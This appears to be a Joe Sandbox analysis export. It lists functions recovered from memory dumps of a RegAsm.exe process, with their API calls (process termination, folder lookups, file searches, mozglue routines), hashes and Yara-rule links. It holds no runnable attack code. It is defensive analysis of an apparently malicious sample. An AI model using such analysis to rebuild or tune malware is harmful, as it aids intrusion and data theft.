memcpy.VCRUNTIME140(?,?,?), ref: 6C2E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C2E18EE
free.MOZGLUE(?), ref: 6C2E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C2E194C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 26cd5f4086446aef926c83d8ea4e186c6d084bc11f351dc690fd3d42ddef6d28
Instruction ID: 2a8c7d4d8e3ddb0fbfd0fea3d12cb36293ae0d15a96853175bbab6555f27c32b
Opcode Fuzzy Hash: 26cd5f4086446aef926c83d8ea4e186c6d084bc11f351dc690fd3d42ddef6d28
Instruction Fuzzy Hash: 0C81AF70A112099FDB08CF68D8949AEBBB5FF89314F44452CEC51AB755D730E884CBA2

Function 6C2F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C2F5D40
EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2F5D67
__aulldiv.LIBCMT ref: 6C2F5DB4
LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2F5DED

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 46ed37eb89df9b2b1231f802a2244b964618652bdb8a29baf12b3b69527955c7
Instruction ID: cfe97583f410fc5dd4dc9d0dc093b73bb1f9ed3c102cb777c308c29feccc3797
Opcode Fuzzy Hash: 46ed37eb89df9b2b1231f802a2244b964618652bdb8a29baf12b3b69527955c7
Instruction Fuzzy Hash: F9517F75F0121E8FCF08CF68C854AAEFBB5FB89304F598629D865A7790C7306946CB90

Function 6C337170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C337250
EnterCriticalSection.KERNEL32(6C35F688), ref: 6C337277
__aulldiv.LIBCMT ref: 6C3372C4
LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C3372F7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fe44e9a13001aef78f78b2fdef3a70d831529d24f4e2687cf54ebe4bc62e4526
Instruction ID: bae5ffbe41e014439f1c703c6f4b3d5da0477df2b34269b4bb3956cd673b7aff
Opcode Fuzzy Hash: fe44e9a13001aef78f78b2fdef3a70d831529d24f4e2687cf54ebe4bc62e4526
Instruction Fuzzy Hash: A2516C71F00169CFCF08CFA8C990AAEBBB5FB8A314F598629D855A7790C7316945CF90

Function 6C2DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C2DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C2DCF4E

Strings

0, xrefs: 6C2DCF30

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 98af75c4db427f2e594585722da05f2f4a1c685230f791d0cfc966baa5f261b5
Instruction ID: 5e8b7c09df91d5be80d6c0a69b4ba7a32ef49a863d6bfbc4578059bbe3da9898
Opcode Fuzzy Hash: 98af75c4db427f2e594585722da05f2f4a1c685230f791d0cfc966baa5f261b5
Instruction Fuzzy Hash: 06510171A0025A8FCB00CF18C490AAABBA5EF99304F2A8599DC595F352D331FD06CBE0

Function 6C3377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C337829

Part of subcall function 6C30CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C2D31A7), ref: 6C30CC45
Part of subcall function 6C30CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C2D31A7), ref: 6C30CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C33789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3378CF

Part of subcall function 6C2D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C2D4E5A
Part of subcall function 6C2D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C2D4E97

Part of subcall function 6C2D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C313EBD,6C313EBD,00000000), ref: 6C2D42A9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: cf9e6952da17721b7b208420b50acf0ee445889270c5d2e9b26e14f427255736
Instruction ID: 3491c63de8fbafca5fd03ac6803f5cccc019068ce05e0d9d25de1dba9bd30462
Opcode Fuzzy Hash: cf9e6952da17721b7b208420b50acf0ee445889270c5d2e9b26e14f427255736
Instruction Fuzzy Hash: 7D41AF719047469BD300DF29C48056BFBF4FF8A264F604A2EE8A987640DB71E559CB92

Function 6C316470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C3182BC,?,?), ref: 6C31649B

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3164A9

Part of subcall function 6C30FA80: GetCurrentThreadId.KERNEL32 ref: 6C30FA8D
Part of subcall function 6C30FA80: AcquireSRWLockExclusive.KERNEL32(6C35F448), ref: 6C30FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31653F
free.MOZGLUE(?), ref: 6C31655A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1d9e21d16f4cac5486d64377c65e06f3885e7db7ca00181a67655f8380e9b3b8
Instruction ID: 08d2aa852a2acced4a8288a955eb4d8f1a238ff76dfafc8cb9390c152997b12c
Opcode Fuzzy Hash: 1d9e21d16f4cac5486d64377c65e06f3885e7db7ca00181a67655f8380e9b3b8
Instruction Fuzzy Hash: CC3190B5A083159FDB04CF14D880A9ABBF4FF88314F40842EE89A97740DB34E909CF92

Function 6C32A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C32A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6C32A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6C32A36A

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

Part of subcall function 6C322140: free.MOZGLUE(?,00000060,?,6C327D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C32215D

free.MOZGLUE(00000000), ref: 6C32A37C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 789ab73618c6e29612a58d6bf6aa891ce8d18b1b73061847a7e0462006e99272
Instruction ID: 322ac6e55ac375d881505c311210b949e2b58f679ada711100ff64691d72d552
Opcode Fuzzy Hash: 789ab73618c6e29612a58d6bf6aa891ce8d18b1b73061847a7e0462006e99272
Instruction Fuzzy Hash: B721F971A002289BCF019F06D840B9FBBA9EF89768F548025DE495B700D73AFD06CED2

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 4ff126167b0771d044181f57398eb51b6d83ce20c11284de7bc47067dc980c11
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 6C30FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C32D019,?,?,?,?,?,00000000,?,6C31DA31,00100000,?), ref: 6C30FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C32D019,?,?,?,?,?,00000000,?,6C31DA31,00100000,?,?), ref: 6C30FFF5
free.MOZGLUE(?,?,?,?,?,6C32D019,?,?,?,?,?,00000000,?,6C31DA31,00100000,?), ref: 6C31001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C32D019,?,?,?,?,?,00000000,?,6C31DA31,00100000,?,?), ref: 6C31002A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 7f2764e3af34132fdda622d73f4e88912f480caee43bd7b254ccf3ed2f322fda
Instruction ID: 5b37c3b6513b8a59132ef0c03011452d49ed9dd14847b1e76c6215a653d823d0
Opcode Fuzzy Hash: 7f2764e3af34132fdda622d73f4e88912f480caee43bd7b254ccf3ed2f322fda
Instruction Fuzzy Hash: D321C4B2B002155FC7089E6898948AAB7AAEBC93287254338E925D7780EA719D058A95

Function 6C2EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C2EB4F5
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C2EB502
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C2EB542
free.MOZGLUE(?), ref: 6C2EB578

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b307d9ac2f3a4ebe1c8279e0e19bb7e8b2a5485b466717e8a710d45604596c55
Instruction ID: 079491dd6cc94a0c81c0580f2f772a7d4bb43b9bcc2dc7237ca98d123cb8e7de
Opcode Fuzzy Hash: b307d9ac2f3a4ebe1c8279e0e19bb7e8b2a5485b466717e8a710d45604596c55
Instruction Fuzzy Hash: 3E113330A04B09C7C7128F28C400762B3B4FF9E319F95971AEC4963A01EBB0B1C1C784

Function 6C313DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C2DF20E,?), ref: 6C313DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C2DF20E,00000000,?), ref: 6C313DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C313E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C313E0E

Part of subcall function 6C30CC00: GetCurrentProcess.KERNEL32(?,?,6C2D31A7), ref: 6C30CC0D
Part of subcall function 6C30CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C2D31A7), ref: 6C30CC16

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 19d762dd0a2455986b408827f779343d044c956609fae43d3314fc42f91e4e91
Instruction ID: 81768ec078b31cafcb786ffad4542f1cc2c6ffb3bf6884d26fff85bbf41309a1
Opcode Fuzzy Hash: 19d762dd0a2455986b408827f779343d044c956609fae43d3314fc42f91e4e91
Instruction Fuzzy Hash: 52F01CB1A002087FDB04AB54EC81DAB376DEF4A628F444020FE4857741D676BE299AF7

Function 00414B30 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,00EF2060), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Strings

` , xrefs: 00414B7B
x , xrefs: 00414B95

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: ` $x
API String ID: 2699682494-1584081310
Opcode ID: bac0653a976e1e9e11d5a9f2b293475c90711b6d1192b4d55a4428dc1681d490
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: bac0653a976e1e9e11d5a9f2b293475c90711b6d1192b4d55a4428dc1681d490
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 6C322050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C32201B,?,?,?,?,?,?,?,6C321F8F,?,?), ref: 6C322064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32208E
free.MOZGLUE(?,?,?,00000000,?,6C32201B,?,?,?,?,?,?,?,6C321F8F,?,?), ref: 6C3220A3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9be0b1481af454bd39e46d51e72ef64711c653c81e6803107a73f72851929b01
Instruction ID: c41fb5f92bd6dedae6ff5161e4a1bc196bf97c8dafc6de08e0050f52bed5a74a
Opcode Fuzzy Hash: 9be0b1481af454bd39e46d51e72ef64711c653c81e6803107a73f72851929b01
Instruction Fuzzy Hash: 09F0E9712007049BC7118F16D888B5BBBFCEF86338F14012AE94687710C776E806CBD6

Function 6C3220B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3220B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C30FBD1), ref: 6C3220C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C30FBD1), ref: 6C3220DA
free.MOZGLUE(00000000,?,6C30FBD1), ref: 6C3220F1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ce3b2ac4c55961dcc465762bc0690cb3433021c381e3f5157d2146e6fca9917e
Instruction ID: 034f4969f11813c9a69f10c642b73f9e8c3e850f320351cd3ce68e32a690361c
Opcode Fuzzy Hash: ce3b2ac4c55961dcc465762bc0690cb3433021c381e3f5157d2146e6fca9917e
Instruction Fuzzy Hash: 29E06531A006149BC7219F259C0858EFBFDEF86328B54462AE94683B00D77AF5468AD6

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00EEAB38,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction ID: 97456884ad0b6ef18ab359dcde09f3ca8448260d7b8d43e592fbf70d203c581b
Opcode Fuzzy Hash: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction Fuzzy Hash: 5CF06574E80704BBE7109FE0EC09F2D7B76EB44701F109159FA05AA2D0C77454028B91

Function 6C3285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C3285D3

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C328725

Strings

map/set<T> too long, xrefs: 6C328720

Memory Dump Source

